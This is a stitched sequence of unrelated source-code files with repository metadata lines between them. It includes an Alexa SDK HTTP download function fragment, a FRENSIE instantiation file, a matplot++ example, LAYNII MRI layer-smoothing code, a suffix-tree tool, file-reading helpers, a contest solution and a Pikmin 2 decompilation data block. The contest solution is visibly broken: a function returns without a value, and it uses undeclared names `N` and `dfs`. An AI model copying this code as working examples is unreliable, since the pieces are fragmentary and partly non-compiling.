std::shared_ptr<AttachmentWriter> streamWriter = stream->createWriter(WriterPolicy::BLOCKING);
if (!contentFetcher->getBody(streamWriter)) {
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "getBodyFailed"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
auto startTime = std::chrono::steady_clock::now();
auto elapsedTime = std::chrono::steady_clock::now() - startTime;
HTTPContentFetcherInterface::State contentFetcherState = contentFetcher->getState();
while ((FETCH_TIMEOUT > elapsedTime) && (HTTPContentFetcherInterface::State::BODY_DONE != contentFetcherState) &&
(HTTPContentFetcherInterface::State::ERROR != contentFetcherState)) {
std::this_thread::sleep_for(WAIT_FOR_ACTIVITY_TIMEOUT);
elapsedTime = std::chrono::steady_clock::now() - startTime;
contentFetcherState = contentFetcher->getState();
}
if (FETCH_TIMEOUT <= elapsedTime) {
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "waitTimeout"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
if (HTTPContentFetcherInterface::State::ERROR == contentFetcherState) {
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "receivingBodyFailed"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
std::unique_ptr<AttachmentReader> reader = stream->createReader(ReaderPolicy::NONBLOCKING);
std::string content;
auto readStatus = AttachmentReader::ReadStatus::OK;
std::vector<char> buffer(CHUNK_SIZE, 0);
bool streamClosed = false;
AttachmentReader::ReadStatus previousStatus = AttachmentReader::ReadStatus::OK_TIMEDOUT;
ssize_t bytesReadSoFar = 0;
ssize_t bytesRead = -1;
while (!streamClosed && bytesRead != 0) {
bytesRead = reader->read(buffer.data(), buffer.size(), &readStatus);
bytesReadSoFar += bytesRead;
if (previousStatus != readStatus) {
ACSDK_DEBUG9(LX(__func__).d("readStatus", readStatus));
previousStatus = readStatus;
}
switch (readStatus) {
case AttachmentReader::ReadStatus::CLOSED:
streamClosed = true;
if (bytesRead == 0) {
break;
}
/* FALL THROUGH - to add any data received even if closed */
case AttachmentReader::ReadStatus::OK:
case AttachmentReader::ReadStatus::OK_WOULDBLOCK:
case AttachmentReader::ReadStatus::OK_TIMEDOUT:
content.append(buffer.data(), bytesRead);
break;
case AttachmentReader::ReadStatus::OK_OVERRUN_RESET:
// Current AttachmentReader policy renders this outcome impossible.
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "overrunReset"));
break;
case AttachmentReader::ReadStatus::ERROR_OVERRUN:
case AttachmentReader::ReadStatus::ERROR_BYTES_LESS_THAN_WORD_SIZE:
case AttachmentReader::ReadStatus::ERROR_INTERNAL:
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "readError"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
if (0 == bytesRead) {
ACSDK_DEBUG9(LX("downloadFromSource").m("alreadyReadAllBytes"));
} else if (observer) {
observer->onBytesRead(bytesRead);
}
}
ACSDK_DEBUG9(LX("downloadFromSource").d("URL", contentFetcher->getUrl()));
if (observer) {
observer->onDownloadComplete();
}
return content;
}
} // namespace sampleApp
} // namespace alexaSmartScreenSDK
| 42.018293
| 120
| 0.654695
|
germanviscuso
|
151d95c195be52b7c1b2569d14059b8038394cda
| 1,036
|
cpp
|
C++
|
packages/utility/grid/src/Utility_StandardHashBasedGridSearcher.cpp
|
bam241/FRENSIE
|
e1760cd792928699c84f2bdce70ff54228e88094
|
[
"BSD-3-Clause"
] | 10
|
2019-11-14T19:58:30.000Z
|
2021-04-04T17:44:09.000Z
|
packages/utility/grid/src/Utility_StandardHashBasedGridSearcher.cpp
|
bam241/FRENSIE
|
e1760cd792928699c84f2bdce70ff54228e88094
|
[
"BSD-3-Clause"
] | 43
|
2020-03-03T19:59:20.000Z
|
2021-09-08T03:36:08.000Z
|
packages/utility/grid/src/Utility_StandardHashBasedGridSearcher.cpp
|
bam241/FRENSIE
|
e1760cd792928699c84f2bdce70ff54228e88094
|
[
"BSD-3-Clause"
] | 6
|
2020-02-12T17:37:07.000Z
|
2020-09-08T18:59:51.000Z
|
//---------------------------------------------------------------------------//
//!
//! \file Utility_StandardHashBasedGridSearcher.cpp
//! \author Alex Robinson
//! \brief The standard hash-based grid searcher
//!
//---------------------------------------------------------------------------//
// FRENSIE Includes
#include "FRENSIE_Archives.hpp" // Must include first
#include "Utility_StandardHashBasedGridSearcher.hpp"
EXPLICIT_TEMPLATE_CLASS_INST( Utility::StandardHashBasedGridSearcher<std::vector<double>,true> );
EXPLICIT_CLASS_SAVE_LOAD_INST( Utility::StandardHashBasedGridSearcher<std::vector<double>,true> );
EXPLICIT_TEMPLATE_CLASS_INST( Utility::StandardHashBasedGridSearcher<std::vector<double>,false> );
EXPLICIT_CLASS_SAVE_LOAD_INST( Utility::StandardHashBasedGridSearcher<std::vector<double>,false> );
//---------------------------------------------------------------------------//
// end Utility_StandardHashBasedGridSearcher.cpp
//---------------------------------------------------------------------------//
| 47.090909
| 99
| 0.561776
|
bam241
|
1524509a9cb88378f4d46b76f762cc941be58d0d
| 440
|
cpp
|
C++
|
examples/appearance/multiplot/subplot/subplot_4.cpp
|
solosuper/matplotplusplus
|
87ff5728b14ad904bc6acaa2bf010c1a03c6cb4a
|
[
"MIT"
] | 2,709
|
2020-08-29T01:25:40.000Z
|
2022-03-31T18:35:25.000Z
|
examples/appearance/multiplot/subplot/subplot_4.cpp
|
p-ranav/matplotplusplus
|
b45015e2be88e3340b400f82637b603d733d45ce
|
[
"MIT"
] | 124
|
2020-08-29T04:48:17.000Z
|
2022-03-25T15:45:59.000Z
|
examples/appearance/multiplot/subplot/subplot_4.cpp
|
p-ranav/matplotplusplus
|
b45015e2be88e3340b400f82637b603d733d45ce
|
[
"MIT"
] | 203
|
2020-08-29T04:16:22.000Z
|
2022-03-30T02:08:36.000Z
|
#include <iostream>
#include <matplot/matplot.h>
#include <set>
#include <thread>
#include <vector>
int main() {
using namespace matplot;
for (size_t i = 0; i < 4; ++i) {
subplot(2, 2, i);
std::string equation = "cos(x**" + num2str(i + 1) + ") + " + num2str(i);
fplot(equation);
title(equation);
}
subplot(2, 2, 1, true);
fplot("sin(x)");
title("sin(x)");
show();
return 0;
}
| 22
| 80
| 0.527273
|
solosuper
|
15255efe7a27d4f9d26c3e4247871ed1317ec1cc
| 16,153
|
cpp
|
C++
|
src/LN2_LAYER_SMOOTH.cpp
|
dowdlelt/LAYNII
|
8d434da57f3126bcd304577bd41eaa32d504df04
|
[
"BSD-3-Clause"
] | 70
|
2018-04-09T13:16:42.000Z
|
2022-03-25T11:35:05.000Z
|
src/LN2_LAYER_SMOOTH.cpp
|
dowdlelt/LAYNII
|
8d434da57f3126bcd304577bd41eaa32d504df04
|
[
"BSD-3-Clause"
] | 48
|
2018-12-06T01:17:48.000Z
|
2022-03-31T13:55:28.000Z
|
src/LN2_LAYER_SMOOTH.cpp
|
dowdlelt/LAYNII
|
8d434da57f3126bcd304577bd41eaa32d504df04
|
[
"BSD-3-Clause"
] | 17
|
2019-04-25T20:57:34.000Z
|
2022-03-07T12:20:31.000Z
|
// TODO(Faruk): Seems there might be an issue with the gaussian kernel's
// symmetry and size corresponding to what is written in CLI
// TODO(Renzo): make the vicinity direction specific vinc_x, vinc_y, vinc_z
#include "../dep/laynii_lib.h"
int show_help(void) {
printf(
"LN2_LAYER_SMOOTH : Layering algorithm based on iterative smoothing.\n"
"\n"
" This program smooths data within layer or columns. In order to \n"
" avoid smoothing across masks, a crawler smooths only across \n"
" connected voxels.\n"
"\n"
"Usage:\n"
" LN2_LAYER_SMOOTH -layer_file layers.nii -input activity_map.nii -FWHM 1\n"
" ../LN2_LAYER_SMOOTH -input sc_VASO_act.nii -layer_file sc_layers.nii -FWHM 1 \n"
"\n"
"Options:\n"
" -help : Show this help.\n"
" -layer_file : Nifti (.nii) file that contains layer or column masks.\n"
" -input : Nifti (.nii) file that should be smooth. It \n"
" should have same dimensions as layer file.\n"
" -twodim : Nifti (.nii) file that should be smooth. It \n"
" -FWHM : The amount of smoothing in mm.\n"
" -mask : (Optional) Mask activity outside of layers. \n"
" -NoKissing : (Optional) Allows smoothing across sucli. This is \n"
" necessary, when you do heavy smoothing well bevond \n"
" the spatial scale of the cortical thickness, or heavy\n"
" curvature. It will make things slower. Note that this \n"
" is best done with not too many layers. Otherwise a \n"
" single layer has holes and is not connected.\n"
" !!!WARNING!!! this option is not well tested for version 1.5\n"
" -output : (Optional) Output filename, including .nii or\n"
" .nii.gz, and path if needed. Overwrites existing files.\n"
"\n");
return 0;
}
int main(int argc, char* argv[]) {
bool use_outpath = false ;
char *fout = NULL ;
char *f_input = NULL, *f_layer = NULL;
int ac, do_masking = 0, sulctouch = 0;
float FWHM_val = 0;
bool twodim = false ;
if (argc < 3) return show_help();
for (ac = 1; ac < argc; ac++) {
if (!strncmp(argv[ac], "-h", 2)) {
return show_help();
} else if (!strcmp(argv[ac], "-layer_file")) {
if (++ac >= argc) {
fprintf(stderr, "** missing argument for -layer_file\n");
return 1;
}
f_layer = argv[ac];
} else if (!strcmp(argv[ac], "-FWHM")) {
if (++ac >= argc) {
fprintf(stderr, "** missing argument for -FWHM\n");
return 1;
}
FWHM_val = atof(argv[ac]); // No string copy, pointer assignment
} else if (!strcmp(argv[ac], "-input")) {
if (++ac >= argc) {
fprintf(stderr, "** missing argument for -input\n");
return 1;
}
f_input = argv[ac];
} else if (!strcmp(argv[ac], "-NoKissing")) {
sulctouch = 1;
cout << "Smooth across gyri, might take longer." << endl;
} else if( ! strcmp(argv[ac], "-twodim") ) {
twodim = true;
cout << "I will do smoothing only in 2D" << endl;
} else if (!strcmp(argv[ac], "-mask")) {
do_masking = 1;
cout << "Set voxels to zero outside layers (mask option)" << endl;
} else if (!strcmp(argv[ac], "-output")) {
if (++ac >= argc) {
fprintf(stderr, "** missing argument for -output\n");
return 1;
}
use_outpath = true;
fout = argv[ac];
} else {
fprintf(stderr, "** invalid option, '%s'\n", argv[ac]);
return 1;
}
}
if (!f_input) {
fprintf(stderr, "** missing option '-input'\n");
return 1;
}
if (!f_layer) {
fprintf(stderr, "** missing option '-layer_file'\n");
return 1;
}
// Read inputs including data
nifti_image* nii1 = nifti_image_read(f_input, 1);
if (!nii1) {
fprintf(stderr, "** failed to read NIfTI from '%s'\n", f_input);
return 2;
}
nifti_image* nii2 = nifti_image_read(f_layer, 1);
if (!nii2) {
fprintf(stderr, "** failed to read NIfTI from '%s'\n", f_layer);
return 2;
}
log_welcome("LN2_LAYER_SMOOTH");
log_nifti_descriptives(nii1);
log_nifti_descriptives(nii2);
// Get dimensions of input
const int size_z = nii2->nz;
const int size_x = nii2->nx;
const int size_y = nii2->ny;
const int nx = nii2->nx;
const int nxy = nii2->nx * nii2->ny;
const int nr_voxels = size_z * size_y * size_x;
const float dX = nii2->pixdim[1];
const float dY = nii2->pixdim[2];
float dZ = nii2->pixdim[3];
if (twodim) dZ = 1000 * dZ ;
// ========================================================================
// Fix datatype issues
nifti_image* nii_input = copy_nifti_as_float32(nii1);
float *nii_input_data = static_cast<float*>(nii_input->data);
nifti_image* nii_layer = copy_nifti_as_int32(nii2);
int32_t *nii_layer_data = static_cast<int32_t*>(nii_layer->data);
// Allocate new niftis
nifti_image *nii_smooth = copy_nifti_as_float32(nii_input);
float *nii_smooth_data = static_cast<float*>(nii_smooth->data);
nifti_image* nii_gaussw = copy_nifti_as_float32(nii_input);
float *nii_gaussw_data = static_cast<float*>(nii_gaussw->data);
// Zero new images
for (int i = 0; i < nr_voxels; ++i) {
*(nii_smooth_data + i) = 0;
*(nii_gaussw_data + i) = 0;
}
// ========================================================================
// TODO(Faruk): Why using dX but not others? Need to ask Renzo about this.
int vic = max(1., 2. * FWHM_val / dX); // Ignore if voxel is too far
cout << " Vicinity = " << vic << endl;
cout << " FWHM = " << FWHM_val << endl;
///////////////////////////
// Find number of layers //
///////////////////////////
int32_t nr_layers = 0;
for (int i = 0; i < nr_voxels; ++i) {
if (*(nii_layer_data + i) > nr_layers) {
nr_layers = *(nii_layer_data + i);
}
}
cout << " There are " << nr_layers << " layers to smooth within." << endl;
////////////////////
// SMOOTHING LOOP //
////////////////////
// For time estimation
int nr_vox_to_loop = 0, idx = 0, prev_n = 0;
for (int i = 0; i < nr_voxels; ++i) {
if (*(nii_layer_data + i) > 0) {
nr_vox_to_loop++;
}
}
if (sulctouch == 0) {
cout << " Smoothing in layer, not considering sulci." << endl;
for (int iz = 0; iz < size_z; ++iz) {
for (int iy = 0; iy < size_y; ++iy) {
for (int ix = 0; ix < size_x; ++ix) {
int voxel_i = nxy * iz + nx * iy + ix;
int layer_i = *(nii_layer_data + voxel_i);
if (layer_i > 0) {
idx += 1;
int n = (idx * 100) / nr_vox_to_loop;
if (n != prev_n) {
cout << "\r " << n << "%" << flush;
prev_n = n;
}
int jz_start = max(0, iz - vic);
int jz_stop = min(iz + vic, size_z - 1);
int jy_start = max(0, iy - vic);
int jy_stop = min(iy + vic, size_y - 1);
int jx_start = max(0, ix - vic);
int jx_stop = min(ix + vic, size_x - 1);
for (int jz = jz_start; jz <= jz_stop; ++jz) {
for (int jy = jy_start; jy <= jy_stop; ++jy) {
for (int jx = jx_start; jx <= jx_stop; ++jx) {
int voxel_j = nxy * jz + nx * jy + jx;
if (*(nii_layer_data + voxel_j) == layer_i) {
float d = dist((float)ix, (float)iy, (float)iz,
(float)jx, (float)jy, (float)jz,
dX, dY, dZ);
float g = gaus(d, FWHM_val);
*(nii_smooth_data + voxel_i) += *(nii_input_data + voxel_j) * g;
*(nii_gaussw_data + voxel_i) += g;
}
}
}
}
// Normalize
*(nii_smooth_data + voxel_i) /= *(nii_gaussw_data + voxel_i);
} else {
*(nii_smooth_data + voxel_i) = *(nii_input_data + voxel_i);
}
}
}
}
cout << endl;
}
///////////////////////////////////////////////////////
// if requested, smooth only within connected layers //
///////////////////////////////////////////////////////
if (sulctouch == 1) {
// Allocating local connected vicinity file
nifti_image* hairy_brain = copy_nifti_as_int32(nii_layer);
int32_t* hairy_brain_data = static_cast<int32_t*>(hairy_brain->data);
hairy_brain->scl_slope = 1.;
int vic_steps = 1;
vic = max(1., 2. * FWHM_val / dX); // Ignore if voxel is too far
cout << " vic " << vic << endl;
cout << " FWHM_val " << FWHM_val << endl;
cout << " Starting within sulcus smoothing..." << endl;
for (int iz = 0; iz < size_z; ++iz) {
for (int iy = 0; iy < size_y; ++iy) {
for (int ix = 0; ix < size_x; ++ix) {
int voxel_i = nxy * iz + nx * iy + ix;
if (*(nii_layer_data + voxel_i) > 0) {
idx++;
int n = (idx * 100) / nr_vox_to_loop;
if (n != prev_n) {
cout << "\r " << n << "% " << flush;
prev_n = n;
}
int layer_i = *(nii_layer_data + voxel_i);
/////////////////////////////////////////////////
// Find area that is not from the other sulcus //
/////////////////////////////////////////////////
int jz_start = max(0, iz - vic - vic_steps);
int jz_stop = min(iz + vic + vic_steps, size_z - 1);
int jy_start = max(0, iy - vic - vic_steps);
int jy_stop = min(iy + vic + vic_steps, size_y - 1);
int jx_start = max(0, ix - vic - vic_steps);
int jx_stop = min(ix + vic + vic_steps, size_x - 1);
for (int jz = jz_start; jz <= jz_stop; ++jz) {
for (int jy = jy_start; jy <= jy_stop; ++jy) {
for (int jx = jx_start; jx <= jx_stop; ++jx) {
*(hairy_brain_data + nxy * jz + nx * jy + jx) = 0;
}
}
}
*(hairy_brain_data + voxel_i) = 1;
// Grow into neigbouring voxels.
for (int K_= 0; K_< vic; K_++) {
int kz_start = max(0, iz - vic);
int kz_stop = min(iz + vic, size_z - 1);
int ky_start = max(0, iy - vic);
int ky_stop = min(iy + vic, size_x - 1);
int kx_start = max(0, ix - vic);
int kx_stop = min(ix + vic, size_y - 1);
for (int kz = kz_start; kz <= kz_stop; ++kz) {
for (int ky = ky_start; ky <= ky_stop; ++ky) {
for (int kx = kx_start; kx <= kx_stop; ++kx) {
if (*(hairy_brain_data + nxy * kz + nx * ky + kx) == 1) {
int mz_start = max(0, kz - vic_steps);
int mz_stop = min(kz + vic_steps, size_z - 1);
int my_start = max(0, ky - vic_steps);
int my_stop = min(ky + vic_steps, size_y - 1);
int mx_start = max(0, kx - vic_steps);
int mx_stop = min(kx + vic_steps, size_x - 1);
for (int mz = mz_start; mz <= mz_stop; ++mz) {
for (int my = my_start; my <= my_stop; ++my) {
for (int mx = mx_start; mx <= mx_stop; ++mx) {
if (dist((float)kx, (float)ky, (float)kz, (float)mx, (float)my, (float)mz, 1, 1, 1) <= 1.74
&& *(nii_layer_data + nxy * mz + nx * my + mx) == layer_i) {
*(hairy_brain_data + nxy * mz + nx * my + mx) = 1;
}
}
}
}
}
}
}
}
}
// Smooth within each layer and within local patch
jz_start = max(0, iz - vic);
jz_stop = min(iz + vic, size_z - 1);
jy_start = max(0, iy - vic);
jy_stop = min(iy + vic, size_y - 1);
jx_start = max(0, ix - vic);
jx_stop = min(ix + vic, size_x - 1);
for (int jz = jz_start; jz <= jz_stop; ++jz) {
for (int jy = jy_start; jy <= jz_stop; ++jy) {
for (int jx = jx_start; jx <= jx_stop; ++jx) {
if (*(hairy_brain_data + nxy * jz + nx * jy + jx) == 1) {
float d = dist((float)ix, (float)iy, (float)iz,
(float)jx, (float)jy, (float)jz,
dX, dY, dZ);
float g = gaus(d, FWHM_val);
*(nii_smooth_data + voxel_i) += *(nii_input_data + nxy * jz + nx * jy + jx) * g;
*(nii_gaussw_data + voxel_i) += g;
}
}
}
}
if (*(nii_gaussw_data + voxel_i) > 0) {
*(nii_smooth_data + voxel_i) /= *(nii_gaussw_data + voxel_i);
}
}
}
}
}
save_output_nifti(f_input, "hairy_brain", hairy_brain, false);
}
cout << " Smoothing is done. " << endl;
////////////////////////////////
// Masking if it is it wanted //
////////////////////////////////
if (do_masking == 1) {
for (int i = 0; i < nr_voxels; ++i)
if (*(nii_layer_data + i) == 0) {
*(nii_smooth_data + i) = 0;
}
}
if (!use_outpath) fout = f_input;
save_output_nifti(fout, "layer_smoothed", nii_smooth, true, use_outpath);
cout << " Finished." << endl;
return 0;
}
| 44.254795
| 147
| 0.409026
|
dowdlelt
|
152675c72105404e1ee60ae371f83fdf8cb3c493
| 2,359
|
cpp
|
C++
|
main/depth_main.cpp
|
TNishimoto/esaxx
|
bac2734b71ff933bc019070ee0ec2d5c7e01fbd5
|
[
"MIT"
] | null | null | null |
main/depth_main.cpp
|
TNishimoto/esaxx
|
bac2734b71ff933bc019070ee0ec2d5c7e01fbd5
|
[
"MIT"
] | null | null | null |
main/depth_main.cpp
|
TNishimoto/esaxx
|
bac2734b71ff933bc019070ee0ec2d5c7e01fbd5
|
[
"MIT"
] | null | null | null |
// License: MIT http://opensource.org/licenses/MIT
/*
This code was copied from https://takeda25.hatenablog.jp/entry/20101202/1291269994 and I modified it.
*/
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <unordered_map>
#include "stool/src/cmdline.h"
#include "../test/old_postorder_maximal_substrings.hpp"
#include "../main/common.hpp"
#include "libdivsufsort/sa.hpp"
#include "../postorder_maximal_substring_intervals.hpp"
#include <sdsl/suffix_arrays.hpp>
#include <sdsl/lcp_dac.hpp>
#include <sdsl/lcp_support_sada.hpp>
#include "../../module/rlbwt_iterator/src/include/rlbwt_iterator.hpp"
#include "../forward_bwt.hpp"
using namespace std;
using CHAR = char;
using INDEX = uint64_t;
uint64_t input_text_size = 0;
std::vector<std::pair<std::string, uint64_t>> execution_time_messages;
uint64_t iterateMS(string filename){
vector<CHAR> T = stool::load_char_vec_from_file(filename, true); // input text
input_text_size = T.size();
std::vector<INDEX> sa = stool::construct_suffix_array(T);
using BWT = stool::esaxx::ForwardBWT<CHAR, std::vector<CHAR>, std::vector<INDEX>>;
BWT bwt(&T,&sa);
std::vector<INDEX> lcpArray = stool::constructLCP<CHAR, INDEX>(T, sa);
stool::esaxx::PostorderSuffixTreeIntervals<INDEX, std::vector<INDEX>, std::vector<INDEX>> st;
st.construct(&sa, &lcpArray);
auto beg = st.begin();
auto end = st.end();
uint64_t maxStack = 0;
while(beg != end ){
if(maxStack < beg.get_incomplete_stack_size()){
maxStack = beg.get_incomplete_stack_size();
}
++beg;
}
return maxStack;
}
int main(int argc, char *argv[])
{
cmdline::parser p;
p.add<string>("input_file", 'i', "input file name", true);
p.parse_check(argc, argv);
string inputFile = p.get<string>("input_file");
auto start = std::chrono::system_clock::now();
uint64_t ms_count = iterateMS(inputFile);
std::cout << "\033[31m";
std::cout << "______________________RESULT______________________" << std::endl;
std::cout << "File \t\t\t\t\t : " << inputFile << std::endl;
std::cout << "The length of the input text \t\t : " << input_text_size << std::endl;
std::cout << "Nest \t : " << ms_count << std::endl;
std::cout << "_______________________________________________________" << std::endl;
std::cout << "\033[39m" << std::endl;
}
| 31.039474
| 103
| 0.689275
|
TNishimoto
|
152813c13f60ee1ddf0aed5b27a8371b77cf4a70
| 1,361
|
cpp
|
C++
|
src/System/FileSystem.cpp
|
Strife-AI/Strife.Engine
|
6b83e762f28acb3f4440d5b7763beccfd08dfc8f
|
[
"NCSA"
] | 12
|
2020-12-27T22:13:58.000Z
|
2021-03-14T09:03:02.000Z
|
src/System/FileSystem.cpp
|
Strife-AI/Strife.Engine
|
6b83e762f28acb3f4440d5b7763beccfd08dfc8f
|
[
"NCSA"
] | 10
|
2021-01-14T15:14:31.000Z
|
2021-05-24T22:01:09.000Z
|
src/System/FileSystem.cpp
|
Strife-AI/Strife.Engine
|
6b83e762f28acb3f4440d5b7763beccfd08dfc8f
|
[
"NCSA"
] | null | null | null |
#include "FileSystem.hpp"
#include <fstream>
#include <sstream>
#include "Logger.hpp"
FILE* OpenFile(const char* path, const char* mode)
{
return fopen(path, mode);
}
bool TryReadFileContents(const char* path, std::string& result)
{
std::ifstream file(path);
if(!file.is_open())
{
Log("Failed to open %s for reading\n", path);
return false;
}
std::stringstream buffer;
buffer << file.rdbuf();
result = buffer.str();
file.close();
return true;
}
bool TryReadFileContents(const char* path, std::vector<unsigned char>& result)
{
FILE* file = fopen(path, "rb");
if (file == nullptr)
{
Log("Failed to open %s for reading\n", path);
return false;
}
fseek(file, 0, SEEK_END);
int size = ftell(file);
result.resize(size);
fseek(file, 0, SEEK_SET);
fread(result.data(), 1, size, file);
fclose(file);
return true;
}
bool TryReadFileContents(const wchar_t* path, std::vector<unsigned char>& result)
{
#ifdef WIN32
FILE* file = _wfopen(path, L"rb");
if (file == nullptr)
{
Log("Failed to open %s for reading\n", path);
return false;
}
fseek(file, 0, SEEK_END);
int size = ftell(file);
result.resize(size);
fseek(file, 0, SEEK_SET);
fread(result.data(), 1, size, file);
fclose(file);
return true;
#else
return false;
#endif
}
| 18.643836
| 81
| 0.624541
|
Strife-AI
|
1529ddab1992137fed1abf7bd4b457f872cecf83
| 2,567
|
cpp
|
C++
|
ICPC/SUBREGIONAL2014/e.cpp
|
henviso/contests
|
aa8a5ce9ed4524e6c3130ee73af7640e5a86954c
|
[
"Apache-2.0"
] | null | null | null |
ICPC/SUBREGIONAL2014/e.cpp
|
henviso/contests
|
aa8a5ce9ed4524e6c3130ee73af7640e5a86954c
|
[
"Apache-2.0"
] | null | null | null |
ICPC/SUBREGIONAL2014/e.cpp
|
henviso/contests
|
aa8a5ce9ed4524e6c3130ee73af7640e5a86954c
|
[
"Apache-2.0"
] | null | null | null |
#include <iostream>
#include <cstdio>
#include <string>
#include <cstring>
#include <cstdlib>
#include <stack>
#include <algorithm>
#include <cctype>
#include <vector>
#include <queue>
#include <tr1/unordered_map>
#include <cmath>
#include <map>
#include <bitset>
#include <set>
#include <iomanip>
using namespace std;
typedef long long ll;
typedef unsigned long long ull;
typedef vector<int> vi;
typedef pair<int,int> ii;
typedef vector< ii > vii;
///////////////////////////////UTIL/////////////////////////////////
#define ALL(x) (x).begin(),x.end()
#define CLEAR0(v) memset(v, 0, sizeof(v))
#define CLEAR(v, x) memset(v, x, sizeof(v))
#define COPY(a, b) memcpy(a, b, sizeof(a))
#define CMP(a, b) memcmp(a, b, sizeof(a))
#define REP(i,n) for(int i = 0; i<n; i++)
#define REPP(i,a,n) for(int i = a; i<n; i++)
#define REPD(i,n) for(int i = n-1; i>-1; i--)
#define REPDP(i,a,n) for(int i = n-1; i>=a; i--)
#define pb push_back
#define pf push_front
#define sz size()
#define mp make_pair
/////////////////////////////NUMERICAL//////////////////////////////
#define INF 0x3f3f3f3f
#define EPS 1e-9
/////////////////////////////BITWISE////////////////////////////////
#define CHECK(S, j) (S & (1 << j))
#define CHECKFIRST(S) (S & (-S))
#define SET(S, j) S |= (1 << j)
#define SETALL(S, j) S = (1 << j)-1
#define UNSET(S, j) S &= ~(1 << j)
#define TOOGLE(S, j) S ^= (1 << j)
///////////////////////////////64 BITS//////////////////////////////
#define LCHECK(S, j) (S & (1ULL << j))
#define LSET(S, j) S |= (1ULL << j)
#define LSETALL(S, j) S = (1ULL << j)-1ULL
#define LUNSET(S, j) S &= ~(1ULL << j)
#define LTOOGLE(S, j) S ^= (1ULL << j)
//__builtin_popcount(m)
//scanf(" %d ", &t);
int n, m;
int a[1000];
int dr[] = {1,-1,0,0};
int dc[] = {0,0,1,-1};
bitset<1000> vis;
vi g[260];
int bt(int v, int k){
if(k == 0){
return;
}
int t = g[v].size();
for(int msk = 0; msk < (1 << t); msk++){
int c[4], p = 0;
REP(i, t){
if(msk&(1 << i)){
c[p++] = g[v][i];
}
}
int l = k-p;
if(p == 0){
if(l > 0) return 0;
}
}
}
int main(){
while (scanf("%d %d", &n, &m) != EOF) {
vis.reset();
int ans = 0;
REP(i, n){
REP(j, n){
int p = i * n + j;
scanf(" %d ", &a[p]);
}
}
N = n*n;
REP(i, N){
int r = i/n, c = i%n;
REP(d, 4){
int nr = r + dr[d];
int nc = c + dc[d];
if(nr < 0 || nr >= n || nc < 0 || nc >= n) continue;
int j = nr*n + nc;
g[i].push_back(j);
g[j].push_back(i);
}
}
REP(i, N){
ans = max(ans, dfs(i, 1, a[i]));
vis[i] = true;
}
printf("%d\n", ans);
}
}
| 22.321739
| 68
| 0.488118
|
henviso
|
152b01078ef4581b9b4d2e0d2e740a057ed752d3
| 47,461
|
cpp
|
C++
|
src/plugProjectEbisawaU/efxEnemyBoss.cpp
|
projectPiki/pikmin2
|
a431d992acde856d092889a515ecca0e07a3ea7c
|
[
"Unlicense"
] | 33
|
2021-12-08T11:10:59.000Z
|
2022-03-26T19:59:37.000Z
|
src/plugProjectEbisawaU/efxEnemyBoss.cpp
|
projectPiki/pikmin2
|
a431d992acde856d092889a515ecca0e07a3ea7c
|
[
"Unlicense"
] | 6
|
2021-12-22T17:54:31.000Z
|
2022-01-07T21:43:18.000Z
|
src/plugProjectEbisawaU/efxEnemyBoss.cpp
|
projectPiki/pikmin2
|
a431d992acde856d092889a515ecca0e07a3ea7c
|
[
"Unlicense"
] | 2
|
2022-01-04T06:00:49.000Z
|
2022-01-26T07:27:28.000Z
|
#include "types.h"
/*
Generated from dpostproc
.section .rodata # 0x804732E0 - 0x8049E220
.global lbl_80497910
lbl_80497910:
.4byte 0x65667845
.4byte 0x6E656D79
.4byte 0x426F7373
.4byte 0x2E637070
.4byte 0x00000000
.global lbl_80497924
lbl_80497924:
.asciz "P2Assert"
.skip 3
.4byte 0x41726750
.4byte 0x726D436F
.4byte 0x6C6F7200
.4byte 0x41726750
.4byte 0x6F73506F
.4byte 0x73000000
.4byte 0x41726753
.4byte 0x63616C65
.4byte 0x00000000
.4byte 0x41726752
.4byte 0x6F745953
.4byte 0x63616C65
.4byte 0x00000000
.4byte 0x4172674B
.4byte 0x6368596F
.4byte 0x64617265
.4byte 0x00000000
.4byte 0x00000000
.section .data, "wa" # 0x8049E220 - 0x804EFC20
.global __vt__Q23efx16THdamaDeadHahen2
__vt__Q23efx16THdamaDeadHahen2:
.4byte 0
.4byte 0
.4byte create__Q23efx16THdamaDeadHahen2FPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple2Fv
.4byte fade__Q23efx8TSimple2Fv
.global __vt__Q23efx16THdamaDeadHahen1
__vt__Q23efx16THdamaDeadHahen1:
.4byte 0
.4byte 0
.4byte create__Q23efx16THdamaDeadHahen1FPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx12THdamaShootA
__vt__Q23efx12THdamaShootA:
.4byte 0
.4byte 0
.4byte create__Q23efx8TSimple1FPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx11THdamaHit2W
__vt__Q23efx11THdamaHit2W:
.4byte 0
.4byte 0
.4byte create__Q23efx11THdamaHit2WFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple3Fv
.4byte fade__Q23efx8TSimple3Fv
.global __vt__Q23efx11THdamaShell
__vt__Q23efx11THdamaShell:
.4byte 0
.4byte 0
.4byte create__Q23efx11THdamaShellFPQ23efx3Arg
.4byte forceKill__Q23efx5TSyncFv
.4byte fade__Q23efx5TSyncFv
.4byte 0
.4byte 0
.4byte "@4@__dt__Q23efx11THdamaShellFv"
.4byte "@4@execute__Q23efx5TSyncFP14JPABaseEmitter"
.4byte "@4@executeAfter__Q23efx5TSyncFP14JPABaseEmitter"
.4byte draw__18JPAEmitterCallBackFP14JPABaseEmitter
.4byte drawAfter__18JPAEmitterCallBackFP14JPABaseEmitter
.4byte execute__Q23efx5TSyncFP14JPABaseEmitter
.4byte executeAfter__Q23efx5TSyncFP14JPABaseEmitter
.4byte doExecuteEmitterOperation__Q23efx9TChasePosFP14JPABaseEmitter
.4byte doExecuteAfter__Q23efx5TSyncFP14JPABaseEmitter
.4byte startDemoDrawOff__Q23efx5TSyncFv
.4byte endDemoDrawOn__Q23efx5TSyncFv
.4byte __dt__Q23efx11THdamaShellFv
